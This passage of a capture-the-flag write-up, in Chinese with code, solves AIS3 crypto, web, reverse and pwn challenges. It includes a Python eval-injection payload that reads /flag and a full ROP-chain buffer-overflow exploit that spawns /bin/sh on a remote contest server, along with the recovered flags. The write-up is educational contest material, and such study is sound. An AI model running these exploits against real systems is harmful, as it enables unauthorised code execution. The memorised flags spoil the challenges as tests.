message = b"TimeStamp: 1716766633.2975683 || User:CTF_Player || data: aaaaaa" + b'\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x02\x00\x00\x00\x00\x00\x00aaaaaaaaaaaaaaaa'
r = remote("chals1.ais3.org", 7003)
r.sendlineafter(b": ", b"1")
r.sendlineafter(b":", b64encode(payload))
c = b64decode(r.recvline().strip(b"'b\n"))
print(len(c))
cipher64_80 = xor(c[64:80], message[64:80])
init_MDBuffer = produce(cipher64_80)
# key = md5(message[128-16: 128], 128+16)
# print(xor(key,c[128: 128+16]))
# message += xor(key, c[128: 128+16])
# key = md5(message[128-16: 128+16], 128+16+16)
# print(xor(key, c[128+16: 128+32]))
# message += xor(key, c[128+16: 128+32])
for i in range(4):
key = md5(message[128-16: 128+16*i], 128+16*(i+1))
message += xor(key, c[128+16*i: 128+16*(i+1)])
print(message)
#AIS3{Got1stBlk!_2ndblk!almostdone!third_block~}
```
## Web
### Evil Calculator
他是一個計算器,方式是輸入東西,然後會在後端用python的eval去執行,只要去修改送出去的request就可以送任意內容了。我一開始以為要做到RCE(但因為會把_和空格都replace掉所以沒辦法),後來發現只要去讀flag就好了,以下是payload
```json
{"expression":"open('/flag').read()"}
//{"result":"AIS3{7RiANG13_5NAK3_I5_50_3Vi1}"}
```
## Reverse
### The Long Print
```cpp!
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int v4; // [rsp+4h] [rbp-Ch]
int i; // [rsp+8h] [rbp-8h]
int j; // [rsp+Ch] [rbp-4h]
puts("Hope you have enough time to receive my flag:");
for ( i = 0; i <= 23; i += 2 )
{
v4 = *(_DWORD *)&secret[4 * i] ^ key[*(unsigned int *)&secret[4 * i + 4]];
for ( j = 0; j <= 3; ++j )
{
sleep(0x3674u);
printf("%c", v4);
v4 >>= 8;
fflush(_bss_start);
}
}
puts("\rOops! Where is the flag? I am sure that the flag is already printed!");
return 0;
}
```
這題我本來用靜態的,就是把那幾個陣列都弄出來,然後把code複製下來,但是一直怪怪的,所以我硬去執行他。他簡單的來說就是會經過xor之後得到一個unsigned int,然後把它一個一個byte輸出出來,中間有很多sleep。我直接用gdb開起來,執行到sleep之前在後面下斷點,然後跳到後面,看他print的內容。為了節省時間,我拿的是那個unsigned int,再把他print出來,以下是exploit
```cpp
#include<stdio.h>
void printflag(long long x){
for(int i = 0; i < 4; i++){
printf("%c", x);
x >>= 8;
}
}
int main(){
printflag(0x33534941);
printflag(0x756f597b);
printflag(0x6572615f);
printflag(0x6568745f);
printflag(0x73616d5f);
printflag(0x5f726574);
printflag(0x745f666f);
printflag(0x5f656d69);
printflag(0x616e616d);
printflag(0x656d6567);
printflag(0x2121746e);
printflag(0x7d3f2121);
}
//AIS3{You_are_the_master_of_time_management!!!!?}
```
### 火拳のエース
```cpp!
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
int v5; // [esp-18h] [ebp-34h]
int v6; // [esp-14h] [ebp-30h]
int v7; // [esp-10h] [ebp-2Ch]
int v8; // [esp+4h] [ebp-18h]
int v9; // [esp+8h] [ebp-14h]
int v10; // [esp+Ch] [ebp-10h]
int i; // [esp+10h] [ebp-Ch]
v3 = time(0);
srand(v3);
buffer0 = (char *)malloc(9u);
buffer1 = (char *)malloc(9u);
buffer2 = (char *)malloc(9u);
buffer3 = (char *)malloc(9u);
memset(buffer0, 0, 9u);
memset(buffer1, 0, 9u);
memset(buffer2, 0, 9u);
memset(buffer3, 0, 9u);
print_flag();
__isoc99_scanf("%8s %8s %8s %8s", buffer0, buffer1, buffer2, buffer3, v5, v6, v7);
xor_strings(buffer0, &unk_804A163, buffer0);
xor_strings(buffer1, v8, buffer1);
xor_strings(buffer2, v9, buffer2);
xor_strings(buffer3, v10, buffer3);
for ( i = 0; i <= 7; ++i )
{
buffer0[i] = complex_function(buffer0[i], i);
buffer1[i] = complex_function(buffer1[i], i + 32);
buffer2[i] = complex_function(buffer2[i], i + 64);
buffer3[i] = complex_function(buffer3[i], i + 96);
}
if ( !strncmp(buffer0, "DHLIYJEG", 8u)
&& !strncmp(buffer1, "MZRERYND", 8u)
&& !strncmp(buffer2, "RUYODBAH", 8u)
&& !strncmp(buffer3, "BKEMPBRE", 8u) )
{
puts("Yes! I remember now, this is it!");
}
else
{
puts("It feels slightly wrong, but almost correct...");
}
free(buffer0);
free(buffer1);
free(buffer2);
free(buffer3);
return 0;
}
```
這題先給了flag的前墜,他的後面分別塞在四個buffer裡面。buffer會先經過xor之後再經過complex_function。通過complex_function之前buffer的狀態可以透過逐位的窮舉得出,以下是exploit:
```cpp!
#include<bits/stdc++.h>
using namespace std;
int complex_function(int a1, int a2)
{
int v2; // eax
int v4; // [esp+8h] [ebp-10h]
int v5; // [esp+Ch] [ebp-Ch]
if ( a1 <= 64 || a1 > 90 )
{
// puts("It feels slightly wrong, but almost correct...");
// exit(1);
return -1;
}
v5 = (17 * a2 + a1 - 65) % 26;
v4 = a2 % 3 + 3;
v2 = a2 % 3;
if ( a2 % 3 == 2 )
{
v5 = (v5 - v4 + 26) % 26;
}
else if ( v2 <= 2 )
{
if ( v2 )
{
if ( v2 == 1 )
v5 = (2 * v4 + v5) % 26;
}
else
{
v5 = (v4 * v5 + 7) % 26;
}
}
return v5 + 65;
}
char buffer0[8], buffer1[8], buffer2[8], buffer3[8];
string target0 = "DHLIYJEG";
string target1 = "MZRERYND";
string target2 = "RUYODBAH";
string target3 = "BKEMPBRE";
int main(){
for (int i = 0; i <= 7; ++i )
{
for(int j = 0; j < 0xff; j++){
if(complex_function(j, i) == target0[i]){
buffer0[i] = j;
}
}
for(int j = 0; j < 0xff; j++){
if(complex_function(j, i + 32) == target1[i]){
buffer1[i] = j;
}
}
for(int j = 0; j < 0xff; j++){
if(complex_function(j, i + 64) == target2[i]){
buffer2[i] = j;
break;
}
}
for(int j = 0; j < 0xff; j++){
if(complex_function(j, i + 96) == target3[i]){
buffer3[i] = j;
break;
}
}
}
for(int i = 0; i < 8; i++){
cout << buffer0[i];
}
cout << "\n";
for(int i = 0; i < 8; i++){
cout << buffer1[i];
}
cout << "\n";
for(int i = 0; i < 8; i++){
cout << buffer2[i];
}
cout << "\n";
for(int i = 0; i < 8; i++){
cout << buffer3[i];
}
}
//QIIKAHBJ
//TRDMYLWD
//NMTLWVYB
//ERHAXFUN
```
接下來要去找xor之前的值,發現有幾個沒初始化的值v8, v9, v10,所以用動態分析的方式。找每次call xor_strings的arg[1]
,然後用小端序輸出,以下是exploit:
```python!
#AIS3{G0D_D4MN_4N9R_15_5UP3R_P0W3RFU1!!!}
from pwn import *
def xor(a: bytes, b: bytes) -> bytes:
return bytes(x ^ y for x, y in zip(a, b))
c1 = b"QIIKAHBJ"
key1 = b"\x0E\r}\x06\x0F\x17v\x04"
c2 = b"TRDMYLWD"
key2 = p64(0x1162136c7c1b006d)
c3 = b"NMTLWVYB"
key3 = p64(0x710e660713067e1e)
c4 = b"ERHAXFUN"
key4 = p64(0x33746779701d1417)
print(xor(c1, key1) + xor(c2, key2) + xor(c3, key3) + xor(c4, key4))
#_D4MN_4N9R_15_5UP3R_P0W3RFU1!!!}
```
## Pwn
### mathter
```cpp
__int64 goodbye()
{
char v1[4]; // [rsp+Ch] [rbp-4h] BYREF
puts("Are you sure you want to leave? [Y/n]");
gets(v1);
if ( v1[0] != 121 && v1[0] != 89 )
return 0LL;
puts("Goodbye!");
return 1LL;
}
```
這個goodbye()裡有個buffer overflow,這個binary是static linked,所以直接用ROPgadget搓ROPchain,我是直接讓他生給我很醜的ROPchain,以下是exploit:
```python
from pwn import *
from struct import pack
#r = process("./mathter", level="debug")
r = remote("chals1.ais3.org", 50001)
raw_input()
r.sendlineafter(b": ", b"q")
p = b'a' * 12
p += pack('<Q', 0x00000000004126a3) # pop rsi ; ret
p += pack('<Q', 0x00000000004bc000) # @ .data
p += pack('<Q', 0x000000000042e3a7) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000042f981) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004126a3) # pop rsi ; ret
p += pack('<Q', 0x00000000004bc008) # @ .data + 8
p += pack('<Q', 0x000000000042bda5) # xor rax, rax ; ret
p += pack('<Q', 0x000000000042f981) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000402540) # pop rdi ; ret
p += pack('<Q', 0x00000000004bc000) # @ .data
p += pack('<Q', 0x00000000004126a3) # pop rsi ; ret
p += pack('<Q', 0x00000000004bc008) # @ .data + 8
p += pack('<Q', 0x000000000047b917) # pop rdx ; pop rbx ; ret
p += pack('<Q', 0x00000000004bc008) # @ .data + 8
p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x000000000042bda5) # xor rax, rax ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004013ea) # syscall
r.sendlineafter(b"]\n", p)
r.interactive()
#AIS3{0mg_k4zm4_mu57_b3_k1dd1ng_m3_2e89c9}
```